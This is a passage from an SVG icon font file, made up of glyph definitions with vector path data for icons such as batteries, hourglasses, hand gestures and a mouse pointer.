    <glyph glyph-name="_535" unicode="&#xf23a;" horiz-adv-x="1792" 
d="M597 1115v-1173q0 -25 -12.5 -42.5t-36.5 -17.5q-17 0 -33 8l-465 233q-21 10 -35.5 33.5t-14.5 46.5v1140q0 20 10 34t29 14q14 0 44 -15l511 -256q3 -3 3 -5zM661 1014l534 -866l-534 266v600zM1792 996v-1054q0 -25 -14 -40.5t-38 -15.5t-47 13l-441 220zM1789 1116
q0 -3 -256.5 -419.5t-300.5 -487.5l-390 634l324 527q17 28 52 28q14 0 26 -6l541 -270q4 -2 4 -6z" />
    <glyph glyph-name="_536" unicode="&#xf23b;" 
d="M809 532l266 499h-112l-157 -312q-24 -48 -44 -92l-42 92l-155 312h-120l263 -493v-324h101v318zM1536 1408v-1536h-1536v1536h1536z" />
    <glyph glyph-name="_537" unicode="&#xf23c;" horiz-adv-x="2296" 
d="M478 -139q-8 -16 -27 -34.5t-37 -25.5q-25 -9 -51.5 3.5t-28.5 31.5q-1 22 40 55t68 38q23 4 34 -21.5t2 -46.5zM1819 -139q7 -16 26 -34.5t38 -25.5q25 -9 51.5 3.5t27.5 31.5q2 22 -39.5 55t-68.5 38q-22 4 -33 -21.5t-2 -46.5zM1867 -30q13 -27 56.5 -59.5t77.5 -41.5
q45 -13 82 4.5t37 50.5q0 46 -67.5 100.5t-115.5 59.5q-40 5 -63.5 -37.5t-6.5 -76.5zM428 -30q-13 -27 -56 -59.5t-77 -41.5q-45 -13 -82 4.5t-37 50.5q0 46 67.5 100.5t115.5 59.5q40 5 63 -37.5t6 -76.5zM1158 1094h1q-41 0 -76 -15q27 -8 44 -30.5t17 -49.5
q0 -35 -27 -60t-65 -25q-52 0 -80 43q-5 -23 -5 -42q0 -74 56 -126.5t135 -52.5q80 0 136 52.5t56 126.5t-56 126.5t-136 52.5zM1462 1312q-99 109 -220.5 131.5t-245.5 -44.5q27 60 82.5 96.5t118 39.5t121.5 -17t99.5 -74.5t44.5 -131.5zM2212 73q8 -11 -11 -42
q7 -23 7 -40q1 -56 -44.5 -112.5t-109.5 -91.5t-118 -37q-48 -2 -92 21.5t-66 65.5q-687 -25 -1259 0q-23 -41 -66.5 -65t-92.5 -22q-86 3 -179.5 80.5t-92.5 160.5q2 22 7 40q-19 31 -11 42q6 10 31 1q14 22 41 51q-7 29 2 38q11 10 39 -4q29 20 59 34q0 29 13 37
q23 12 51 -16q35 5 61 -2q18 -4 38 -19v73q-11 0 -18 2q-53 10 -97 44.5t-55 87.5q-9 38 0 81q15 62 93 95q2 17 19 35.5t36 23.5t33 -7.5t19 -30.5h13q46 -5 60 -23q3 -3 5 -7q10 1 30.5 3.5t30.5 3.5q-15 11 -30 17q-23 40 -91 43q0 6 1 10q-62 2 -118.5 18.5t-84.5 47.5
q-32 36 -42.5 92t-2.5 112q16 126 90 179q23 16 52 4.5t32 -40.5q0 -1 1.5 -14t2.5 -21t3 -20t5.5 -19t8.5 -10q27 -14 76 -12q48 46 98 74q-40 4 -162 -14l47 46q61 58 163 111q145 73 282 86q-20 8 -41 15.5t-47 14t-42.5 10.5t-47.5 11t-43 10q595 126 904 -139
q98 -84 158 -222q85 -10 121 9h1q5 3 8.5 10t5.5 19t3 19.5t3 21.5l1 14q3 28 32 40t52 -5q73 -52 91 -178q7 -57 -3.5 -113t-42.5 -91q-28 -32 -83.5 -48.5t-115.5 -18.5v-10q-71 -2 -95 -43q-14 -5 -31 -17q11 -1 32 -3.5t30 -3.5q1 5 5 8q16 18 60 23h13q5 18 19 30t33 8
t36 -23t19 -36q79 -32 93 -95q9 -40 1 -81q-12 -53 -56 -88t-97 -44q-10 -2 -17 -2q0 -49 -1 -73q20 15 38 19q26 7 61 2q28 28 51 16q14 -9 14 -37q33 -16 59 -34q27 13 38 4q10 -10 2 -38q28 -30 41 -51q23 8 31 -1zM1937 1025q0 -29 -9 -54q82 -32 112 -132
q4 37 -9.5 98.5t-41.5 90.5q-20 19 -36 17t-16 -20zM1859 925q35 -42 47.5 -108.5t-0.5 -124.5q67 13 97 45q13 14 18 28q-3 64 -31 114.5t-79 66.5q-15 -15 -52 -21zM1822 921q-30 0 -44 1q42 -115 53 -239q21 0 43 3q16 68 1 135t-53 100zM258 839q30 100 112 132
q-9 25 -9 54q0 18 -16.5 20t-35.5 -17q-28 -29 -41.5 -90.5t-9.5 -98.5zM294 737q29 -31 97 -45q-13 58 -0.5 124.5t47.5 108.5v0q-37 6 -52 21q-51 -16 -78.5 -66t-31.5 -115q9 -17 18 -28zM471 683q14 124 73 235q-19 -4 -55 -18l-45 -19v1q-46 -89 -20 -196q25 -3 47 -3z
M1434 644q8 -38 16.5 -108.5t11.5 -89.5q3 -18 9.5 -21.5t23.5 4.5q40 20 62 85.5t23 125.5q-24 2 -146 4zM1152 1285q-116 0 -199 -82.5t-83 -198.5q0 -117 83 -199.5t199 -82.5t199 82.5t83 199.5q0 116 -83 198.5t-199 82.5zM1380 646q-105 2 -211 0v1q-1 -27 2.5 -86
t13.5 -66q29 -14 93.5 -14.5t95.5 10.5q9 3 11 39t-0.5 69.5t-4.5 46.5zM1112 447q8 4 9.5 48t-0.5 88t-4 63v1q-212 -3 -214 -3q-4 -20 -7 -62t0 -83t14 -46q34 -15 101 -16t101 10zM718 636q-16 -59 4.5 -118.5t77.5 -84.5q15 -8 24 -5t12 21q3 16 8 90t10 103
q-69 -2 -136 -6zM591 510q3 -23 -34 -36q132 -141 271.5 -240t305.5 -154q172 49 310.5 146t293.5 250q-33 13 -30 34q0 2 0.5 3.5t1.5 3t1 2.5v1v-1q-17 2 -50 5.5t-48 4.5q-26 -90 -82 -132q-51 -38 -82 1q-5 6 -9 14q-7 13 -17 62q-2 -5 -5 -9t-7.5 -7t-8 -5.5t-9.5 -4
l-10 -2.5t-12 -2l-12 -1.5t-13.5 -1t-13.5 -0.5q-106 -9 -163 11q-4 -17 -10 -26.5t-21 -15t-23 -7t-36 -3.5q-6 -1 -9 -1q-179 -17 -203 40q-2 -63 -56 -54q-47 8 -91 54q-12 13 -20 26q-17 29 -26 65q-58 -6 -87 -10q1 -2 4 -10zM507 -118q3 14 3 30q-17 71 -51 130
t-73 70q-41 12 -101.5 -14.5t-104.5 -80t-39 -107.5q35 -53 100 -93t119 -42q51 -2 94 28t53 79zM510 53q23 -63 27 -119q195 113 392 174q-98 52 -180.5 120t-179.5 165q-6 -4 -29 -13q0 -1 -1 -4t-1 -5q31 -18 22 -37q-12 -23 -56 -34q-10 -13 -29 -24h-1q-2 -83 1 -150
q19 -34 35 -73zM579 -113q532 -21 1145 0q-254 147 -428 196q-76 -35 -156 -57q-8 -3 -16 0q-65 21 -129 49q-208 -60 -416 -188h-1v-1q1 0 1 1zM1763 -67q4 54 28 120q14 38 33 71l-1 -1q3 77 3 153q-15 8 -30 25q-42 9 -56 33q-9 20 22 38q-2 4 -2 9q-16 4 -28 12
q-204 -190 -383 -284q198 -59 414 -176zM2155 -90q5 54 -39 107.5t-104 80t-102 14.5q-38 -11 -72.5 -70.5t-51.5 -129.5q0 -16 3 -30q10 -49 53 -79t94 -28q54 2 119 42t100 93z" />
    <glyph glyph-name="_538" unicode="&#xf23d;" horiz-adv-x="2304" 
d="M1524 -25q0 -68 -48 -116t-116 -48t-116.5 48t-48.5 116t48.5 116.5t116.5 48.5t116 -48.5t48 -116.5zM775 -25q0 -68 -48.5 -116t-116.5 -48t-116 48t-48 116t48 116.5t116 48.5t116.5 -48.5t48.5 -116.5zM0 1469q57 -60 110.5 -104.5t121 -82t136 -63t166 -45.5
t200 -31.5t250 -18.5t304 -9.5t372.5 -2.5q139 0 244.5 -5t181 -16.5t124 -27.5t71 -39.5t24 -51.5t-19.5 -64t-56.5 -76.5t-89.5 -91t-116 -104.5t-139 -119q-185 -157 -286 -247q29 51 76.5 109t94 105.5t94.5 98.5t83 91.5t54 80.5t13 70t-45.5 55.5t-116.5 41t-204 23.5
t-304 5q-168 -2 -314 6t-256 23t-204.5 41t-159.5 51.5t-122.5 62.5t-91.5 66.5t-68 71.5t-50.5 69.5t-40 68t-36.5 59.5z" />
    <glyph glyph-name="_539" unicode="&#xf23e;" horiz-adv-x="1792" 
d="M896 1472q-169 0 -323 -66t-265.5 -177.5t-177.5 -265.5t-66 -323t66 -323t177.5 -265.5t265.5 -177.5t323 -66t323 66t265.5 177.5t177.5 265.5t66 323t-66 323t-177.5 265.5t-265.5 177.5t-323 66zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348
t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM496 704q16 0 16 -16v-480q0 -16 -16 -16h-32q-16 0 -16 16v480q0 16 16 16h32zM896 640q53 0 90.5 -37.5t37.5 -90.5q0 -35 -17.5 -64t-46.5 -46v-114q0 -14 -9 -23
t-23 -9h-64q-14 0 -23 9t-9 23v114q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5zM896 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM544 928v-96
q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v96q0 93 65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5v-96q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v96q0 146 -103 249t-249 103t-249 -103t-103 -249zM1408 192v512q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-512
q0 -26 19 -45t45 -19h896q26 0 45 19t19 45z" />
    <glyph glyph-name="_540" unicode="&#xf240;" horiz-adv-x="2304" 
d="M1920 1024v-768h-1664v768h1664zM2048 448h128v384h-128v288q0 14 -9 23t-23 9h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288zM2304 832v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113
v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="_541" unicode="&#xf241;" horiz-adv-x="2304" 
d="M256 256v768h1280v-768h-1280zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_542" unicode="&#xf242;" horiz-adv-x="2304" 
d="M256 256v768h896v-768h-896zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_543" unicode="&#xf243;" horiz-adv-x="2304" 
d="M256 256v768h512v-768h-512zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_544" unicode="&#xf244;" horiz-adv-x="2304" 
d="M2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9h-1856q-14 0 -23 -9t-9 -23
v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_545" unicode="&#xf245;" horiz-adv-x="1280" 
d="M1133 493q31 -30 14 -69q-17 -40 -59 -40h-382l201 -476q10 -25 0 -49t-34 -35l-177 -75q-25 -10 -49 0t-35 34l-191 452l-312 -312q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v1504q0 42 40 59q12 5 24 5q27 0 45 -19z" />
    <glyph glyph-name="_546" unicode="&#xf246;" horiz-adv-x="1024" 
d="M832 1408q-320 0 -320 -224v-416h128v-128h-128v-544q0 -224 320 -224h64v-128h-64q-272 0 -384 146q-112 -146 -384 -146h-64v128h64q320 0 320 224v544h-128v128h128v416q0 224 -320 224h-64v128h64q272 0 384 -146q112 146 384 146h64v-128h-64z" />
    <glyph glyph-name="_547" unicode="&#xf247;" horiz-adv-x="2048" 
d="M2048 1152h-128v-1024h128v-384h-384v128h-1280v-128h-384v384h128v1024h-128v384h384v-128h1280v128h384v-384zM1792 1408v-128h128v128h-128zM128 1408v-128h128v128h-128zM256 -128v128h-128v-128h128zM1664 0v128h128v1024h-128v128h-1280v-128h-128v-1024h128v-128
h1280zM1920 -128v128h-128v-128h128zM1280 896h384v-768h-896v256h-384v768h896v-256zM512 512h640v512h-640v-512zM1536 256v512h-256v-384h-384v-128h640z" />
    <glyph glyph-name="_548" unicode="&#xf248;" horiz-adv-x="2304" 
d="M2304 768h-128v-640h128v-384h-384v128h-896v-128h-384v384h128v128h-384v-128h-384v384h128v640h-128v384h384v-128h896v128h384v-384h-128v-128h384v128h384v-384zM2048 1024v-128h128v128h-128zM1408 1408v-128h128v128h-128zM128 1408v-128h128v128h-128zM256 256
v128h-128v-128h128zM1536 384h-128v-128h128v128zM384 384h896v128h128v640h-128v128h-896v-128h-128v-640h128v-128zM896 -128v128h-128v-128h128zM2176 -128v128h-128v-128h128zM2048 128v640h-128v128h-384v-384h128v-384h-384v128h-384v-128h128v-128h896v128h128z" />
    <glyph glyph-name="_549" unicode="&#xf249;" 
d="M1024 288v-416h-928q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1344q40 0 68 -28t28 -68v-928h-416q-40 0 -68 -28t-28 -68zM1152 256h381q-15 -82 -65 -132l-184 -184q-50 -50 -132 -65v381z" />
    <glyph glyph-name="_550" unicode="&#xf24a;" 
d="M1400 256h-248v-248q29 10 41 22l185 185q12 12 22 41zM1120 384h288v896h-1280v-1280h896v288q0 40 28 68t68 28zM1536 1312v-1024q0 -40 -20 -88t-48 -76l-184 -184q-28 -28 -76 -48t-88 -20h-1024q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1344q40 0 68 -28t28 -68
z" />
    <glyph glyph-name="_551" unicode="&#xf24b;" horiz-adv-x="2304" 
d="M1951 538q0 -26 -15.5 -44.5t-38.5 -23.5q-8 -2 -18 -2h-153v140h153q10 0 18 -2q23 -5 38.5 -23.5t15.5 -44.5zM1933 751q0 -25 -15 -42t-38 -21q-3 -1 -15 -1h-139v129h139q3 0 8.5 -0.5t6.5 -0.5q23 -4 38 -21.5t15 -42.5zM728 587v308h-228v-308q0 -58 -38 -94.5
t-105 -36.5q-108 0 -229 59v-112q53 -15 121 -23t109 -9l42 -1q328 0 328 217zM1442 403v113q-99 -52 -200 -59q-108 -8 -169 41t-61 142t61 142t169 41q101 -7 200 -58v112q-48 12 -100 19.5t-80 9.5l-28 2q-127 6 -218.5 -14t-140.5 -60t-71 -88t-22 -106t22 -106t71 -88
t140.5 -60t218.5 -14q101 4 208 31zM2176 518q0 54 -43 88.5t-109 39.5v3q57 8 89 41.5t32 79.5q0 55 -41 88t-107 36q-3 0 -12 0.5t-14 0.5h-455v-510h491q74 0 121.5 36.5t47.5 96.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90
t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_552" unicode="&#xf24c;" horiz-adv-x="2304" 
d="M858 295v693q-106 -41 -172 -135.5t-66 -211.5t66 -211.5t172 -134.5zM1362 641q0 117 -66 211.5t-172 135.5v-694q106 41 172 135.5t66 211.5zM1577 641q0 -159 -78.5 -294t-213.5 -213.5t-294 -78.5q-119 0 -227.5 46.5t-187 125t-125 187t-46.5 227.5q0 159 78.5 294
t213.5 213.5t294 78.5t294 -78.5t213.5 -213.5t78.5 -294zM1960 634q0 139 -55.5 261.5t-147.5 205.5t-213.5 131t-252.5 48h-301q-176 0 -323.5 -81t-235 -230t-87.5 -335q0 -171 87 -317.5t236 -231.5t323 -85h301q129 0 251.5 50.5t214.5 135t147.5 202.5t55.5 246z
M2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_553" unicode="&#xf24d;" horiz-adv-x="1792" 
d="M1664 -96v1088q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5v-1088q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5zM1792 992v-1088q0 -66 -47 -113t-113 -47h-1088q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1088q66 0 113 -47t47 -113
zM1408 1376v-160h-128v160q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5v-1088q0 -13 9.5 -22.5t22.5 -9.5h160v-128h-160q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1088q66 0 113 -47t47 -113z" />
    <glyph glyph-name="_554" unicode="&#xf24e;" horiz-adv-x="2304" 
d="M1728 1088l-384 -704h768zM448 1088l-384 -704h768zM1269 1280q-14 -40 -45.5 -71.5t-71.5 -45.5v-1291h608q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1344q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h608v1291q-40 14 -71.5 45.5t-45.5 71.5h-491q-14 0 -23 9t-9 23v64
q0 14 9 23t23 9h491q21 57 70 92.5t111 35.5t111 -35.5t70 -92.5h491q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-491zM1088 1264q33 0 56.5 23.5t23.5 56.5t-23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5zM2176 384q0 -73 -46.5 -131t-117.5 -91
t-144.5 -49.5t-139.5 -16.5t-139.5 16.5t-144.5 49.5t-117.5 91t-46.5 131q0 11 35 81t92 174.5t107 195.5t102 184t56 100q18 33 56 33t56 -33q4 -7 56 -100t102 -184t107 -195.5t92 -174.5t35 -81zM896 384q0 -73 -46.5 -131t-117.5 -91t-144.5 -49.5t-139.5 -16.5
t-139.5 16.5t-144.5 49.5t-117.5 91t-46.5 131q0 11 35 81t92 174.5t107 195.5t102 184t56 100q18 33 56 33t56 -33q4 -7 56 -100t102 -184t107 -195.5t92 -174.5t35 -81z" />
    <glyph glyph-name="_555" unicode="&#xf250;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM874 700q77 29 149 92.5t129.5 152.5t92.5 210t35 253h-1024q0 -132 35 -253t92.5 -210t129.5 -152.5t149 -92.5q19 -7 30.5 -23.5t11.5 -36.5t-11.5 -36.5t-30.5 -23.5q-77 -29 -149 -92.5
t-129.5 -152.5t-92.5 -210t-35 -253h1024q0 132 -35 253t-92.5 210t-129.5 152.5t-149 92.5q-19 7 -30.5 23.5t-11.5 36.5t11.5 36.5t30.5 23.5z" />
    <glyph glyph-name="_556" unicode="&#xf251;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM1280 1408h-1024q0 -66 9 -128h1006q9 61 9 128zM1280 -128q0 130 -34 249.5t-90.5 208t-126.5 152t-146 94.5h-230q-76 -31 -146 -94.5t-126.5 -152t-90.5 -208t-34 -249.5h1024z" />
    <glyph glyph-name="_557" unicode="&#xf252;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM1280 1408h-1024q0 -206 85 -384h854q85 178 85 384zM1223 192q-54 141 -145.5 241.5t-194.5 142.5h-230q-103 -42 -194.5 -142.5t-145.5 -241.5h910z" />
    <glyph glyph-name="_558" unicode="&#xf253;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM874 700q77 29 149 92.5t129.5 152.5t92.5 210t35 253h-1024q0 -132 35 -253t92.5 -210t129.5 -152.5t149 -92.5q19 -7 30.5 -23.5t11.5 -36.5t-11.5 -36.5t-30.5 -23.5q-137 -51 -244 -196
h700q-107 145 -244 196q-19 7 -30.5 23.5t-11.5 36.5t11.5 36.5t30.5 23.5z" />
    <glyph glyph-name="_559" unicode="&#xf254;" 
d="M1504 -64q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v128q0 14 9 23t23 9h1472zM130 0q3 55 16 107t30 95t46 87t53.5 76t64.5 69.5t66 60t70.5 55t66.5 47.5t65 43q-43 28 -65 43t-66.5 47.5t-70.5 55t-66 60t-64.5 69.5t-53.5 76t-46 87
t-30 95t-16 107h1276q-3 -55 -16 -107t-30 -95t-46 -87t-53.5 -76t-64.5 -69.5t-66 -60t-70.5 -55t-66.5 -47.5t-65 -43q43 -28 65 -43t66.5 -47.5t70.5 -55t66 -60t64.5 -69.5t53.5 -76t46 -87t30 -95t16 -107h-1276zM1504 1536q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9
h-1472q-14 0 -23 9t-9 23v128q0 14 9 23t23 9h1472z" />
    <glyph glyph-name="_560" unicode="&#xf255;" 
d="M768 1152q-53 0 -90.5 -37.5t-37.5 -90.5v-128h-32v93q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-429l-32 30v172q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-224q0 -47 35 -82l310 -296q39 -39 39 -102q0 -26 19 -45t45 -19h640q26 0 45 19t19 45v25
q0 41 10 77l108 436q10 36 10 77v246q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-32h-32v125q0 40 -25 72.5t-64 40.5q-14 2 -23 2q-46 0 -79 -33t-33 -79v-128h-32v122q0 51 -32.5 89.5t-82.5 43.5q-5 1 -13 1zM768 1280q84 0 149 -50q57 34 123 34q59 0 111 -27
t86 -76q27 7 59 7q100 0 170 -71.5t70 -171.5v-246q0 -51 -13 -108l-109 -436q-6 -24 -6 -71q0 -80 -56 -136t-136 -56h-640q-84 0 -138 58.5t-54 142.5l-308 296q-76 73 -76 175v224q0 99 70.5 169.5t169.5 70.5q11 0 16 -1q6 95 75.5 160t164.5 65q52 0 98 -21
q72 69 174 69z" />
    <glyph glyph-name="_561" unicode="&#xf256;" horiz-adv-x="1792" 
d="M880 1408q-46 0 -79 -33t-33 -79v-656h-32v528q0 46 -33 79t-79 33t-79 -33t-33 -79v-528v-256l-154 205q-38 51 -102 51q-53 0 -90.5 -37.5t-37.5 -90.5q0 -43 26 -77l384 -512q38 -51 102 -51h688q34 0 61 22t34 56l76 405q5 32 5 59v498q0 46 -33 79t-79 33t-79 -33
t-33 -79v-272h-32v528q0 46 -33 79t-79 33t-79 -33t-33 -79v-528h-32v656q0 46 -33 79t-79 33zM880 1536q68 0 125.5 -35.5t88.5 -96.5q19 4 42 4q99 0 169.5 -70.5t70.5 -169.5v-17q105 6 180.5 -64t75.5 -175v-498q0 -40 -8 -83l-76 -404q-14 -79 -76.5 -131t-143.5 -52
h-688q-60 0 -114.5 27.5t-90.5 74.5l-384 512q-51 68 -51 154q0 106 75 181t181 75q78 0 128 -34v434q0 99 70.5 169.5t169.5 70.5q23 0 42 -4q31 61 88.5 96.5t125.5 35.5z" />
    <glyph glyph-name="_562" unicode="&#xf257;" horiz-adv-x="1792" 
d="M1073 -128h-177q-163 0 -226 141q-23 49 -23 102v5q-62 30 -98.5 88.5t-36.5 127.5q0 38 5 48h-261q-106 0 -181 75t-75 181t75 181t181 75h113l-44 17q-74 28 -119.5 93.5t-45.5 145.5q0 106 75 181t181 75q46 0 91 -17l628 -239h401q106 0 181 -75t75 -181v-668
q0 -88 -54 -157.5t-140 -90.5l-339 -85q-92 -23 -186 -23zM1024 583l-155 -71l-163 -74q-30 -14 -48 -41.5t-18 -60.5q0 -46 33 -79t79 -33q26 0 46 10l338 154q-49 10 -80.5 50t-31.5 90v55zM1344 272q0 46 -33 79t-79 33q-26 0 -46 -10l-290 -132q-28 -13 -37 -17
t-30.5 -17t-29.5 -23.5t-16 -29t-8 -40.5q0 -50 31.5 -82t81.5 -32q20 0 38 9l352 160q30 14 48 41.5t18 60.5zM1112 1024l-650 248q-24 8 -46 8q-53 0 -90.5 -37.5t-37.5 -90.5q0 -40 22.5 -73t59.5 -47l526 -200v-64h-640q-53 0 -90.5 -37.5t-37.5 -90.5t37.5 -90.5
t90.5 -37.5h535l233 106v198q0 63 46 106l111 102h-69zM1073 0q82 0 155 19l339 85q43 11 70 45.5t27 78.5v668q0 53 -37.5 90.5t-90.5 37.5h-308l-136 -126q-36 -33 -36 -82v-296q0 -46 33 -77t79 -31t79 35t33 81v208h32v-208q0 -70 -57 -114q52 -8 86.5 -48.5t34.5 -93.5
q0 -42 -23 -78t-61 -53l-310 -141h91z" />
    <glyph glyph-name="_563" unicode="&#xf258;" horiz-adv-x="2048" 
d="M1151 1536q61 0 116 -28t91 -77l572 -781q118 -159 118 -359v-355q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v177l-286 143h-546q-80 0 -136 56t-56 136v32q0 119 84.5 203.5t203.5 84.5h420l42 128h-686q-100 0 -173.5 67.5t-81.5 166.5q-65 79 -65 182v32
q0 80 56 136t136 56h959zM1920 -64v355q0 157 -93 284l-573 781q-39 52 -103 52h-959q-26 0 -45 -19t-19 -45q0 -32 1.5 -49.5t9.5 -40.5t25 -43q10 31 35.5 50t56.5 19h832v-32h-832q-26 0 -45 -19t-19 -45q0 -44 3 -58q8 -44 44 -73t81 -29h640h91q40 0 68 -28t28 -68
q0 -15 -5 -30l-64 -192q-10 -29 -35 -47.5t-56 -18.5h-443q-66 0 -113 -47t-47 -113v-32q0 -26 19 -45t45 -19h561q16 0 29 -7l317 -158q24 -13 38.5 -36t14.5 -50v-197q0 -26 19 -45t45 -19h384q26 0 45 19t19 45z" />
    <glyph glyph-name="_564" unicode="&#xf259;" horiz-adv-x="2048" 
d="M459 -256q-77 0 -137.5 47.5t-79.5 122.5l-101 401q-13 57 -13 108q0 45 -5 67l-116 477q-7 27 -7 57q0 93 62 161t155 78q17 85 82.5 139t152.5 54q83 0 148 -51.5t85 -132.5l83 -348l103 428q20 81 85 132.5t148 51.5q89 0 155.5 -57.5t80.5 -144.5q92 -10 152 -79
t60 -162q0 -24 -7 -59l-123 -512q10 7 37.5 28.5t38.5 29.5t35 23t41 20.5t41.5 11t49.5 5.5q105 0 180 -74t75 -179q0 -62 -28.5 -118t-78.5 -94l-507 -380q-68 -51 -153 -51h-694zM1104 1408q-38 0 -68.5 -24t-39.5 -62l-164 -682h-127l-145 602q-9 38 -39.5 62t-68.5 24
q-48 0 -80 -33t-32 -80q0 -15 3 -28l132 -547h-26l-99 408q-9 37 -40 62.5t-69 25.5q-47 0 -80 -33t-33 -79q0 -14 3 -26l116 -478q7 -28 9 -86t10 -88l100 -401q8 -32 34 -52.5t59 -20.5h694q42 0 76 26l507 379q56 43 56 110q0 52 -37.5 88.5t-89.5 36.5q-43 0 -77 -26
l-307 -230v227q0 4 32 138t68 282t39 161q4 18 4 29q0 47 -32 81t-79 34q-39 0 -69.5 -24t-39.5 -62l-116 -482h-26l150 624q3 14 3 28q0 48 -31.5 82t-79.5 34z" />
    <glyph glyph-name="_565" unicode="&#xf25a;" horiz-adv-x="1792" 
